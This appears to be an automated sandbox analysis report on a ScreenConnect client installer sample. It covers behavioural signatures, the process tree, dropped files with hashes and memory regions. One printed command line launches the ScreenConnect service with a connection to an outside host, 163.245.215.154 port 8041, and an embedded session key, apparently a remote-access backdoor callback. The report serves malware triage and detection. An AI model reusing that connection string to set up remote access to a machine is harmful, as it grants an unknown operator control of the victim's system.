Analysis

  • max time kernel
    148s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/09/2026, 19:07

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample260912-xsyrxsshja
  • SHA256 cd69825ca962118955811a023d3f6b130eb70696b532b96bbf1a893be00a7c35
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4116
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 2070E7ACA76303BD48560B618EDC38AB C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2160
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1786.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240720203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4672
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 511043827BAC906D8740D82794273E63
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:5720
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1F090C7FAADA91F2616EEB5E319C7ED6 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:5856
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
      PID:5084
    • C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=163.245.215.154&p=8041&s=7e26afef-800f-4e6e-b495-25ac1932af4b&k=BgIAAACkAABSU0ExAAgAAAEAAQCRMyZRlWdpOYwfNC%2bI9%2btf4njjir5O07mN2H%2fpfCX2LVvZsbgfUbYruQmdeed0uzl5sYB0WtX5pyHqk6czza5Np7h3T73w89F%2fos6P5JQg3wIYJpb214i02Dj7gVsHuBm0TYjQKzMAn%2bk7%2bR8I7YiEDUr1v%2bFhzxi1ipmRL2HdWoqbjLqA9h%2fNigX67U5DneJZaEGcTavHfr75kxPp%2b0mx7o0tihkIK4uFBAdPlQn9n%2fAKfHY3uYpV%2fnG7M6g31OUomWeM%2flwqUpdaKXkhmaSWP%2fkOf7EXIxnV2i%2fJeorHyfEyFzBtOVER4WvLIR6dRJcnePPzFxCS%2fhvSuufiw%2fnI"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4284
      • C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.WindowsClient.exe" "RunRole" "ebfa2c89-eb79-42d3-bd94-b3d508fde1cf" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1456
      • C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.WindowsClient.exe" "RunRole" "3a336bad-edf5-4223-859c-c22e6483e613" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2784

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e591e1e.rbs

          • Path C:\Config.Msi\e591e1e.rbs
          • Size 214KB
          • SHA256 ccd6f5478e0cc5a7edfa5530a8e118d9e018930eb8d6b4fcc5c263ebc4374813
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\Client.Override.en-US.resources
          • Size 630B
          • SHA256 81c1426b5f997825668e1deaefea4786c551904ba0418e1ed40b6a3e40140187
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\Client.Override.resources
          • Size 62KB
          • SHA256 f4db75487f9cf23510e3e5dedd6560dcf03b41de4a678a1d160c75aae0209b9c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\app.config
          • Size 1KB
          • SHA256 92aa0b705f755cecf70dd713990db5461df6b7a7c650c77c9a79f43a2d92a6f4
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (9e844898a6b747f9)\system.config
          • Size 953B
          • SHA256 6ece872055a729d4ac9d71323f5c227a82d548caa9616bea8bf93138d79aa904
          • MD5 SHA1 SHA512 TLSH

          MSI1786.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1786.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1786.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1786.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1786.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1786.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI208F.tmp

          • Path C:\Windows\Installer\MSI208F.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e591e1d.msi

          • Path C:\Windows\Installer\e591e1d.msi
          • Size 12.9MB
          • SHA256 cd69825ca962118955811a023d3f6b130eb70696b532b96bbf1a893be00a7c35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1456-114-0x0000000002630000-0x0000000002666000-memory.dmp

          memory/1456-117-0x000000001C3A0000-0x000000001C528000-memory.dmp

          memory/1456-115-0x000000001B200000-0x000000001B28C000-memory.dmp

          memory/1456-119-0x000000001AF40000-0x000000001AF58000-memory.dmp

          memory/1456-116-0x000000001B440000-0x000000001B5EA000-memory.dmp

          memory/1456-118-0x0000000000B10000-0x0000000000B28000-memory.dmp

          memory/1456-113-0x00000000001E0000-0x0000000000276000-memory.dmp

          memory/4284-89-0x00000000043A0000-0x00000000043D6000-memory.dmp

          memory/4284-101-0x00000000043E0000-0x0000000004421000-memory.dmp

          memory/4284-103-0x0000000004670000-0x0000000004742000-memory.dmp

          memory/4284-99-0x0000000004480000-0x0000000004512000-memory.dmp

          memory/4284-83-0x0000000004350000-0x00000000043A0000-memory.dmp

          memory/4284-72-0x00000000019D0000-0x00000000019E8000-memory.dmp

          memory/4672-31-0x0000000005EF0000-0x00000000064AA000-memory.dmp

          memory/4672-30-0x0000000005780000-0x000000000592A000-memory.dmp

          memory/4672-26-0x0000000005540000-0x00000000055CC000-memory.dmp

          memory/4672-22-0x0000000003480000-0x000000000348A000-memory.dmp

          memory/4672-18-0x0000000003440000-0x000000000346E000-memory.dmp